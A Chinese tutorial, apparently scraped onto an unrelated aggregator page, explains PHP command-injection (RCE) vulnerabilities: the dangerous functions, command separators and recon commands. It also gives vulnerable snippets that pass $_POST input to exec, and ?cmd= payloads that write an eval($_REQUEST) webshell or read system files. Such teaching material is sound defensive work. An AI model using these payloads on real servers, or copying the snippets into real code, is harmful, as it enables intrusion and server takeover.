企业免费网站建设模板下载十秒折一个萝卜刀

pingmian/2025/10/9 8:25:41/文章来源:
企业免费网站建设模板下载,十秒折一个萝卜刀,做网站常用软件,wordpress登录文章目录 一、RCE二、命令执行/注入-概述三、命令执行-常见函数四、PHP命令执行-常见函数1、exec#xff1a;2、system3、passthru4、shell_exec5、反引号 backquote 五、PHP命令执行-常见函数总结六、命令执行漏洞成因七、命令执行漏洞利用条件八、命令执行漏洞分类1、代码层… 文章目录 一、RCE二、命令执行/注入-概述三、命令执行-常见函数四、PHP命令执行-常见函数1、exec2、system3、passthru4、shell_exec5、反引号 backquote 五、PHP命令执行-常见函数总结六、命令执行漏洞成因七、命令执行漏洞利用条件八、命令执行漏洞分类1、代码层过滤不严2、系统的漏洞造成命令注入3、调用的第三方组件存在代码执行漏洞 九、命令执行漏洞常用的命令WindowsLinux 十、命令执行漏洞原理十一、命令执行漏洞使用的特殊字符1、2、3、|4、|| 十二、命令执行漏洞getshell1、直接获取webshell2、显示当前路径3、读文件4、写文件 一、RCE ------ 远程命令执行或者代码执行因为RCE这个词的滥用RCE的范围比较广只要渗透的最终情况可以实现执行命令或者是代码都属于RCE例如代码执行、文件包含、反序列化、命令执行甚至是写文件Getshell都可以属于RCE。 ------ RCE漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或者代码从而控制后台系统。 二、命令执行/注入-概述 ------ 应用有时需要调用一些执行系统命令的函数比如php中的system、exec、shell_exec、passthru、popen等当用户调用这些函数时就可以将恶意系统命令拼接到正常命令中从而造成命令执行攻击这就是命令执行漏洞。 ------ 命令执行产生原因Web应用的脚本代码在执行命令的时候过滤不严从而注入一段攻击者能够控制的代码在服务器上执行恶意指令。 ------ 命令执行漏洞是PHP应用程序中最常见的漏洞之一。 ------ 命令执行漏洞直接调用操作系统命令。可以执行系统或应用指令(如CMD命令或bash命令)的漏洞PHP命令执行漏洞主要基于一些函数的参数过滤不严导致。 三、命令执行-常见函数 常见的命令执行函数 PHPexec、shell_exec、system、passthru、popen、proc_open等ASP.NETSystem.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等Javajava.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等 四、PHP命令执行-常见函数 1、exec 返回值返回命令执行结果的最后一行内容失败时返回 false ?phpecho exec($_POST[q]); ? ?phpprint exec($_POST[q]); ?如下图只会输出最后一行 2、system ------ 该函数会把执行结果输出并把输出结果的作为字符串返回。 ------ 如果 PHP 运行在服务器模块中system() 函数还会尝试在每行输出完毕之后自动刷新 web 服务器的输出缓存如果执行失败则返回false。 ?phphighlight_file(__FILE__); system(whoami); ?highlight_file() 函数以字符串形式返回 突出显示的代码 成功返回true否则返回false。3、passthru ------ 执行外部程序并且显示原始输出。执行的 Unix 命令输出二进制数据 并且需要直接传送到浏览器的时候 需要用此函数。 ?phphighlight_file(__FILE__);passthru(whoami); ?4、shell_exec ------ 通过 shell 执行命令并将完整的输出以字符串的方式返回。 ?phphighlight_file(__FILE__);var_dump(shell_exec(ipconfig)); ?5、反引号 backquote ------ shell_exec() 函数实际上仅是反撇号 () 操作符的变体 ?php echo whoami; ? 这时候whoami会直接被当成命令来执行。五、PHP命令执行-常见函数总结 ------ 可执行命令的函数 system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()反引号也可以执行命令 system()、exec()、shell_exec()、passthru()以及反引号( )是可以直接传入命令并且函数会返回执行结果。 如 ?php system(ipconfig); ? ?php echo whoami; ? popen()、proc_open()函数不会直接返回执行结果而是返回一个文件指针通过文件指针就可对它所指的文件进行各种操作命令是已经执行了 ?php popen(whoami D:/2.txt,r); ? 六、命令执行漏洞成因 ------ 一般出现这种漏洞是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面用户从web界面输入目标IP提交后后台会对该IP地址进行一次ping测试并返回测试结果。 ------ 而如果设计者在完成该功能时没有做严格的安全控制则可能会导致攻击者通过该接口提交“意想不到”的命令从而让后台进行执行从而控制整个后台服务器。 七、命令执行漏洞利用条件 应用调用执行系统命令的函数将用户输入作为系统命令的参数拼接到了命令行中没有对用户输入进行过滤或过滤不严 八、命令执行漏洞分类 1、代码层过滤不严 商业应用的一些核心代码封装在二进制文件中在web应用中通过system函数来调用。 2、系统的漏洞造成命令注入 bash破壳漏洞(CVE-2014-6271) 3、调用的第三方组件存在代码执行漏洞 如WordPress中用来处理图片的ImageMagick组件 JAVA中的命令执行漏洞(struts2等) ThinkPHP命令执行 九、命令执行漏洞常用的命令 Windows dir----查看文件目录 ipconfig----查看Windows的IP地址 arp -a----查看ARP缓存表 calc----在命令行打开计算器 regedit----打开注册表 netstat -ano----查看开放的端口信息Linux cat /etc/passwd----查看passwd文件 id----查看该用户的ID号 groups----查看用户所属的组 cat /etc/group----查看组信息 whoami----查看当前用户 pwd----查看当前路径 uname -a----查看主机信息 cat /etc/issue----查看主机的配置信息 netstat -pantu----查看开放的端口信息 netstat -nr----查看路由信息十、命令执行漏洞原理 ------ 在操作系统中、|、||都可以作为命令连接符使用用户通过浏览器提交 执行命令由于服务器端没有针对执行函数做过滤导致在没有指定绝对路径的情况下就执行命令。 ------ 远程命令执行漏洞指用户通过浏览器提交执行操作命令由于服务器端没有针对执行函数做过滤就执行了恶意命令。 十一、命令执行漏洞使用的特殊字符 1、 12用来分隔一个命令行中的多个命令。先运行第一个命令1然后运行第二个命令2。 2、 12先运行第一个命令1只有在符号前面的命令1运行成功时才运行该符号后面的命令2。 3、| 1|2命令行的管道符号将命令1的输出立即作为命令2的输入它把输入和输出重定向结合在一起。直接执行了后面的语句 4、|| 1||2先运行第一个命令只有在符号||前面的命令1未能运行成功时才运行符号||后面的命令2。 十二、命令执行漏洞getshell ------ 攻击者直接继承web用户权限可以在服务器上执行任意命令危害特别大。 以下是几种常见的命令执行利用方式 1、直接获取webshell 例如可以写入一句话木马 ?cmdecho “?php eval($_REQUEST[123]); ?” D:\phpstudy\PHPTutorial\WWW\webshell.php 2、显示当前路径 例如可以提交参数 ?cmdcd 来查看当前路径。 3、读文件 例如?cmdtype c:\windows\system32\drivers\etc\hosts来查看系统hosts文件。 4、写文件 例如可以提交参数 ?cmdecho “?php phpinfo(); ?” D:\shell.php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/89029.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

咨询邯郸网站建设网站备案ps

作为一种使用大量文本数据训练的深度学习模型,大模型可以生成自然语言文本或理解语言文本的含义,是通向人工智能的一条重要途径。大模型可以应用于各种机器学习任务,包括自然语言处理、计算机视觉、语音识别、机器翻译、推荐系统、强化学习等…

网站服务器可以更换吗信用门户网站建设观摩

0 前言: STL,为什么你必须掌握 对于程序员来说,数据结构是必修的一门课。从查找到排序,从链表到二叉树,几乎所有的算法和原理都需要理解,理解不了也要死记硬背下来。幸运的是这些理论都已经比较成熟,算法也…

台州网站建设模板自己做网站需要啥

错误样例(使用UTL_HTTP发送http请求时,报出如下错误): 原因: 1、Oracle允许使用几个PL/SQL API(UTL_TCP, UTL_SMTP, UTL_MAIL, UTL_HTTP和 UTL_INADDR)访问外部网络服务,这些API都使用TCP协议。…

介绍自己做衣服的网站建网站好还是开天猫好

先看官网 一、不可变数据的概念 不可变数据意味着数据一旦创建,就不能被更改。在React中,每次对数据的修改都会返回一个新的数据副本,而不会改变原始数据。这种方式确保了数据的稳定性和一致性。 二、Props中的不可变数据 在React中&#xf…

华企立方做网站教育技术学网站模版

什么是高可用性 高可用性不是绝对的,只有相对更高的可用性。百分之百的可用性是不可能达到的。可用性的定义不仅仅包括服务正在运行的时间段,还包括应用是否能以足够好的性能处理请求。 导致宕机的原因 在运行环境的问题中,最普通的问题是…

网站制作公司北京网站建设公司江西网站建设哪家好

台湾Shopee虾皮电商平台为台湾本土卖家和消费者提供了一个线上交易平台。对于想要在台湾市场做虾皮电商的卖家来说,选择合适的产品是非常重要的。本文介绍一些做虾皮电商的选品方法和策略。 首先,了解市场需求是选品的基础。在进入台湾Shopee市场之前&a…

各大设计网站鞍山怎么做平台软件

1.Python 字符串 字符串可以看做是由单个文本字符构成的列表,每个字母构成一个列表元素,可以用下标取值,切片,用于for循环,用len()函数 name Zophoie name[2] name[-3] name[0:3]Zoin nameZOin name len(name)ZOOnot …

铁建设文件在什么网站下载做网站百科

P2392 kkksc03考前临时抱佛脚 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 这个题目的难点在于我们该怎么尽量让左右大脑均分题目时间呢,我们这样想,我们先将所有题目的时间总和累加起来,取其一半。我们知道如果将这n道题目进行时间的尽量…

营销软件网站建设做网站要学会什么软件

2-3查找树 2-结点:含有一个键(及其对应的值)和两条链,左链接指向2-3树中的键都小于该结点,右链接指向的2-3树中的键都大于该结点。 3-结点:含有两个键(及其对应的值)和三条链,左链接指向的2-3树中的键都小于该结点&a…

网站联盟有哪些新媒体营销成功案例

来源:本文原刊于《中国科技论坛》2021年8月第8期摘要:城市与技术的关系由来已久,但将“数字”这一技术概念与城市连接成为专有名词却是新事物。本文从技术变迁的外生驱动和城市发展问题的内生需求两个角度探讨数字城市兴起及发展的动因&#…

深圳网站小程序设计开发济南川芎网站建设

.Net Remoting提供了一种允许一个应用域中的对象与另一个应用域中的对象进行交互的框架。是.NET框架中的一个重要技术改进,它用于减轻运行应用程序的系统开销. 中文名 .Net Remoting 作 用 减轻运行应用程序的系统开销 目录 1 介绍2 .NET Remoting的原理 ▪ 1.NET Rem…

龙华网站 建设深圳信科云服务器快速安装wordpress

前言 那么这里博主先安利一些干货满满的专栏了! 首先是博主的高质量博客的汇总,这个专栏里面的博客,都是博主最最用心写的一部分,干货满满,希望对大家有帮助。 高质量博客汇总 然后就是博主最近最花时间的一个专栏…

游乐场网站开发推广普通话奋进新征程手抄报

Kubernetes 准入控制器是什么?为什么要使用准入控制器?如何使用?本文对 Kubernetes 准入控制器进行了详细解释。来源 | K8sMeetup作者 | Arun Prasad头图 | 下载于视觉中国Kubernetes 控制平面由几个组件组成。其中一个组件是 kube-apiserver…

做网站大概要福州市城乡建设局

一、介绍 网络架构是Kubernetes中较为复杂、让很多用户头疼的方面之一。Kubernetes网络模型本身对某些特定的网络功能有一定要求,但在实现方面也具有一定的灵活性。因此,业界已有不少不同的网络方案,来满足特定的环境和要求。 CNI意为容器网络…

辽宁省营商环境建设局网站杭州品牌设计公司有哪些

🚀简介 状态模式是一种行为设计模式,它允许对象在其内部状态改变时改变其行为,我们可以通过创建一个状态接口和一些实现了该接口的状态类来实现状态模式。然后,我们可以创建一个上下文类,它会根据其当前的状态对象来改…

wordpress站长邮箱手机网页设计

我们都知道,抖音直播购物车的商品链接只能是抖音小店的,如果没有开通抖音小店,还能添加小店链接吗? 也是可以的。 抖音直播小黄车的链接可以是自己的小店商品,也可以是别人的小店商品。 抖音直播上链接有两种方式&a…

网站手机端 怎么做北京好用的h5建站

文章目录 力扣141-环形链表示例代码实现要点剖析 力扣141-环形链表 给你一个链表的头节点 head ,判断链表中是否有环。 如果链表中有某个节点,可以通过连续跟踪 next 指针再次到达,则链表中存在环。 为了表示给定链表中的环,评测…

电商网站多少钱wordpress本地图片不显示图片

文章目录 1、日期函数2、字符串函数3、数学函数4、其它函数 1、日期函数 //获取日期 select current_date(); //获取时间 select current_time(); //获取时间戳, 格式为日期时间 select current_timestamp(); //获取当前时间, 格式为日期时间 select now(); //获取参数的日期部…

淮北建投网站网站后台如何修改标题

来源:智东西5G已经展开了全面商用,随着5G在垂直行业的不断渗透,人们对于6G的设想也逐步提上日程。面向2030, 6G将在5G基础上全面支持整个世界的数字化,并结合人工智能等技术的发展,实现智慧的泛在可取、全面赋能万事万…

个人网站可以做产品众筹吗住房建设城乡网站

文章目录 性能优化图CPU进程和cpu原理性能指标 性能优化图 CPU 进程和cpu原理 进程与线程: 进程是程序的执行实例,有自己的地址空间和系统资源。线程是进程内的执行单元,共享进程的资源。在多核系统中,使用多线程可以更好地利用多…